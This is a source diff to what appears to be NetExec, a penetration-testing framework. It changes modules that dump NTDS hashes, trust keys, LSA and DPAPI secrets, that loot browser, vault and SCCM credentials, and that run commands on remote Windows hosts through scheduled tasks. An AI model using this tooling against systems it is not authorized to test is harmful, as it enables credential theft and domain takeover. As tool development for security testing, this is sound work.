@@ -957,15 +949,17 @@ class smb(connection):
def _is_dc_via_rpc(self):
"""
Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic
and needs no session;
and needs no session. get_os_arch() already talks to the endpoint mapper
on every scan, so this adds no new port and runs only when that call
reached 135 (no extra timeout when 135 is filtered, e.g. over proxychains).
"""
from impacket.dcerpc.v5 import nrpc, epm
if not self._is_port_open(135):
self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos")
if self.os_arch is None:
self.logger.debug("Port 135 unreachable (OS arch probe failed): RPC inconclusive, deferring to Kerberos")
return None
self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...")
self.logger.debug("Port 135 reachable, attempting Netlogon MSRPC lookup...")
try:
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
self.logger.debug("Netlogon endpoint registered: host is a DC")
@@ -1264,7 +1258,7 @@ class smb(connection):
self.logger.error("Could not get process list")
return
pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
if not pidList:
self.logger.fail(f"Could not find process named {self.args.taskkill}")
return
@@ -1378,12 +1372,12 @@ class smb(connection):
@requires_admin
def tasklist(self):
# Formats a row to be printed on screen
def format_row(procInfo):
def format_row(procInfo, pSid):
return template.format(
procInfo["ImageName"],
procInfo["UniqueProcessId"],
procInfo["SessionId"],
procInfo["pSid"],
str(procInfo["ImageName"].getValue()),
str(procInfo["UniqueProcessId"]),
str(procInfo["SessionId"]),
pSid,
f"{procInfo['WorkingSetSize'] // 1000:,} K",
)
@@ -1399,8 +1393,8 @@ class smb(connection):
if not res:
return
self.logger.success("Enumerated processes")
maxImageNameLen = max(len(i["ImageName"]) for i in res)
maxSidLen = max(len(i["pSid"]) for i in res)
maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
maxSidLen = max(len(i.getSid()) for i in res)
template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
@@ -1411,12 +1405,12 @@ class smb(connection):
# If args.tasklist is not True then a process name was supplied
if self.args.tasklist is not True:
# So we look for it and print its information if found
if self.args.tasklist.lower() in procInfo["ImageName"].lower():
if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
found_task = True
self.logger.highlight(format_row(procInfo))
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
# Else, no process was supplied, we print the entire list of remote processes
else:
self.logger.highlight(format_row(procInfo))
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
if self.args.tasklist is not True and not found_task:
@@ -1987,9 +1981,10 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
*_, tgt, _ = self.conn.getCredentials()
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=tgt)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -2149,24 +2144,114 @@ class smb(connection):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file_single(self, remote_path, download_path):
def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
try:
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
return True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
else:
self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}")
return False
except Exception as e:
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
return False
def get_file_single(self, remote_path, download_path, silent=False):
share_name = self.args.share
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
with open(download_path, "wb+") as file:
try:
self.conn.getFile(share_name, remote_path, file.write)
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
if os.path.getsize(download_path) == 0:
os.remove(download_path)
if self.download_file(share_name, remote_path, file.write):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
if not silent:
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False):
folder = ntpath.normpath(folder)
self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}")
base_folder = os.path.basename(folder)
self.logger.debug(f"Base folder: {base_folder}")
try:
items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
except SessionError as e:
self.logger.error(f"Error listing folder '{folder}': {e}")
return
self.logger.debug(f"{len(items)} items in folder: {items}")
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
# Create a safe local directory structure while retaining the raw remote path for SMB.
try:
relative_path = ntpath.relpath(folder, base_dir or folder)
except ValueError:
relative_path = folder
relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
local_folder_path = os.path.join(dest, *relative_parts)
destination_path = Path(dest).resolve()
resolved_folder = Path(local_folder_path).resolve()
if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
self.logger.fail(f"Path traversal detected in '{folder}', skipping")
return
if not filtered_items and ignore_empty:
self.logger.debug(f"Skipping empty folder '{folder}'")
return
# create the directory for this folder
os.makedirs(local_folder_path, exist_ok=True)
if not filtered_items and not silent:
self.logger.display(f"Created empty directory '{local_folder_path}'")
for item in filtered_items:
remote_item_name = item.get_longname()
item_name = sanitize_path_component(remote_item_name)
dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
if item.is_directory() and recursive:
self.logger.debug(f"Found new directory to parse: {dir_path!r}")
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, remote_item_name)
local_file_path = os.path.join(local_folder_path, item_name)
# Defense-in-depth: verify path stays under destination
resolved = Path(local_file_path).resolve()
if destination_path not in resolved.parents:
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
continue
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
def get_folder(self):
recursive = self.args.recursive
ignore_empty = self.args.ignore_empty_folders
self.logger.debug(f"Recursive option set to {recursive}")
self.logger.debug(f"Ignore empty folders option set to {ignore_empty}")
for folder, dest in self.args.get_folder:
self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty)
self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'")
def enable_remoteops(self, regsecret=False):
try:
if regsecret:
@@ -2240,255 +2325,32 @@ class smb(connection):
@requires_admin
def sccm(self):
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
dc_ip=self.kdcHost,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
self.dpapi_triage.triage_sccm()
@requires_admin
def dpapi(self):
dump_system = "nosystem" not in self.args.dpapi
if self.args.pvk is not None:
try:
with open(self.args.pvk, "rb") as f:
self.pvkbytes = f.read()
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
except Exception as e:
self.logger.fail(str(e))
if self.pvkbytes is None:
self.pvkbytes = get_domain_backup_key(self)
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.remoteName,
address=self.remoteName,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
dc_ip=self.kdcHost,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler]
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
if dump_system:
credentials_triage.triage_system_credentials()
except Exception as e:
self.logger.debug(f"Error while looting credentials: {e}")
dump_cookies = "cookies" in self.args.dpapi
cng_chromekey = None
try:
cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
try:
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.logger.debug(f"Error while looting vaults: {e}")
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
if self.output_file:
self.output_file.close()
with open(self.output_file_template.format(output_folder="dpapi")) as f:
if sum(1 for _ in f) == 0:
self.logger.fail("No dpapi loot retrieved")
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
@requires_admin
def list_snapshots(self):
@@ -2505,13 +2367,22 @@ class smb(connection):
self.logger.highlight(f"{drive:<8}{i:<26}")
@requires_admin
def lsa(self):
def lsa(self, quiet=False):
try:
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
# --dpapi calls lsa() without --lsa, so it gets the default regdump mode too
self.enable_remoteops(regsecret=(self.args.lsa != "secdump"))
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
self.logger.highlight(secret)
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
if "_SC_GMSA_{84A78B8C" in secret:
gmsa_id = secret.split("_")[4].split(":")[0]
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
@@ -2521,12 +2392,13 @@ class smb(connection):
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
if not quiet:
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
add_lsa_secret.secrets = 0
if self.remote_ops and self.bootkey:
if self.args.lsa == "regdump":
if self.args.lsa != "secdump":
LSA = RegSecretsLSASecrets(
self.bootkey,
self.remote_ops,
@@ -2541,13 +2413,15 @@ class smb(connection):
isRemote=True,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
self.logger.display("Dumping LSA secrets")
if not quiet:
self.logger.display("Dumping LSA secrets")
self.output_filename = self.output_file_template.format(output_folder="lsa")
LSA.dumpCachedHashes()
LSA.exportCached(self.output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(self.output_filename)
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
if not quiet:
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
try:
self.remote_ops.finish()
except Exception as e:
@@ -2562,13 +2436,15 @@ class smb(connection):
def ntds(self):
self.enable_remoteops()
is_remote = True
use_vss_method = False
NTDSFileName = None
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
printed_kerb_keys_banner = False
printed_trust_keys_banner = False
def add_hash(secret_type, secret, host_id):
nonlocal printed_kerb_keys_banner
nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
self.logger.display("Kerberos keys:")
printed_kerb_keys_banner = True
@@ -2579,13 +2455,15 @@ class smb(connection):
else:
add_hash.nt_lm_secrets += 1
# Log the secret based on args
if self.args.enabled:
if "Enabled" in secret:
secret = " ".join(secret.split(" ")[:-1])
self.logger.highlight(secret)
else:
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
is_enabled_account = secret.endswith(" (status=Enabled)")
is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
secret = secret.removesuffix(status)
if not self.args.enabled or is_enabled_account or is_trust_key:
if is_trust_key and not printed_trust_keys_banner:
self.logger.display("Trust keys:")
printed_trust_keys_banner = True
self.logger.highlight(secret)
# Filter out computer accounts, history hashes and kerberos keys for adding to db
@@ -2613,20 +2491,21 @@ class smb(connection):
add_hash.kerb_secrets = 0
add_hash.added_to_db = 0
if self.remote_ops:
try:
if self.args.ntds == "vss":
NTDSFileName = self.remote_ops.saveNTDS()
use_vss_method = True
except Exception as e:
self.logger.fail(e)
if self.args.ntds == "vss":
use_vss_method = True
is_remote = False
output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
os.makedirs(output_folder, exist_ok=True)
sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
localOps = LocalOperations(system_path)
self.bootkey = localOps.getBootKey()
self.output_filename = self.output_file_template.format(output_folder="ntds")
NTDS = NTDSHashes(
NTDSFileName,
self.bootkey,
isRemote=True,
isRemote=is_remote,
history=self.args.history,
noLMHash=True,
remoteOps=self.remote_ops,
@@ -2637,18 +2516,27 @@ class smb(connection):
outputFileName=self.output_filename,
justUser=self.args.userntds if self.args.userntds else None,
printUserStatus=True,
trustKeys=self.args.trust_keys,
justTrustKeys=self.args.just_trust_keys,
domainFQDN=self.targetDomain,
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
)
try:
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
if self.args.just_trust_keys:
self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
else:
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
ntds_outfile = f"{self.output_filename}.ntds"
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
if self.args.just_trust_keys:
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
else:
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
except Exception as e:
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
+19 -50
View File
@@ -10,6 +10,7 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
from nxc.protocols.smb.exec_output import get_output_file
class TSCH_EXEC:
@@ -162,62 +163,30 @@ class TSCH_EXEC:
except tsch.DCERPCSessionError as e:
self.logger.debug(f"hSchRpcRun returned: {e}")
done = False
while not done:
# A task starts within seconds of the RegistrationTrigger. Poll for up to RUN_TIMEOUT seconds so a
# slow host still gets a grace period, and a task that can never run (e.g. a run-as user with no
# interactive session, which a TASK_LOGON_NONE task needs) is detected instead of looping forever.
RUN_TIMEOUT = 30
RUN_CHECK_DELAY = 2
last_error = None
for _ in range(RUN_TIMEOUT // RUN_CHECK_DELAY):
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
try:
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
if tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")["pLastRuntime"]["wYear"] != 0:
break # the task has run
except tsch.DCERPCSessionError as e:
if e.error_code == 0x00041303:
sleep(2)
continue
self.logger.fail(f"Error retrieving task last run info: {e}")
break
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
last_error = e # SCHED_S_TASK_HAS_NOT_RUN or a transient error right after registration; keep polling
sleep(RUN_CHECK_DELAY)
else:
self.logger.fail(f"Task \\{self.task_name} did not start within {RUN_TIMEOUT}s. If a specific run-as user was set, it likely has no interactive session on the target (a TASK_LOGON_NONE task only runs while that user is logged on). Last error: {last_error}")
self.logger.info(f"Deleting task \\{self.task_name}")
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
try:
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
except Exception as e:
self.logger.fail(f"[OPSEC] Could not delete scheduled task \\{self.task_name} on the target: {e}")
if self.__retOutput:
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing PowerShell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
get_output_file(self.__connection.conn, self.__share, self.__output_filename, self.output_callback, self.__tries, self.logger, "ATEXEC")
dce.disconnect()
+17 -3
View File
@@ -3,7 +3,7 @@ import threading
import warnings
from datetime import datetime
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
SAWarning
@@ -428,6 +428,20 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -725,13 +739,13 @@ class database(BaseDB):
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this group ID is valid.
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
-100
View File
@@ -1,100 +0,0 @@
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
def get_domain_backup_key(context):
pvkbytes = None
try:
results = context.db.get_domain_backupkey(context.domain)
except Exception:
context.logger.fail(
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
'workspace create dpapi' then re-run the dpapi option"
)
return False
if len(results) > 0:
context.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
elif context.no_da is None and context.args.local_auth is False:
try:
dc_target = Target.create(
domain=context.domain,
username=context.username,
password=context.password,
target=context.domain, # querying DNS server for domain will return DC
lmhash=context.lmhash,
nthash=context.nthash,
do_kerberos=context.kerberos,
aesKey=context.aesKey,
no_pass=True,
use_kcache=context.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
context.db.add_domain_backupkey(context.domain, pvkbytes)
else:
context.no_da = False
except Exception as e:
context.logger.fail(f"Could not get domain backupkey: {e}")
return pvkbytes
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
masterkeys = []
plaintexts = {}
nthashes = {}
if context.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(context.args.mkfile)
except Exception as e:
context.logger.fail(str(e))
if user:
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
# dploot matches user.lower()
if context.password != "":
plaintexts[context.username.lower()] = context.password
if context.nthash != "":
nthashes[context.username.lower()] = context.nthash
# Collect User and Machine masterkeys
try:
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=dploot_connection,
pvkbytes=context.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
if user:
context.logger.debug("Collecting user masterkeys")
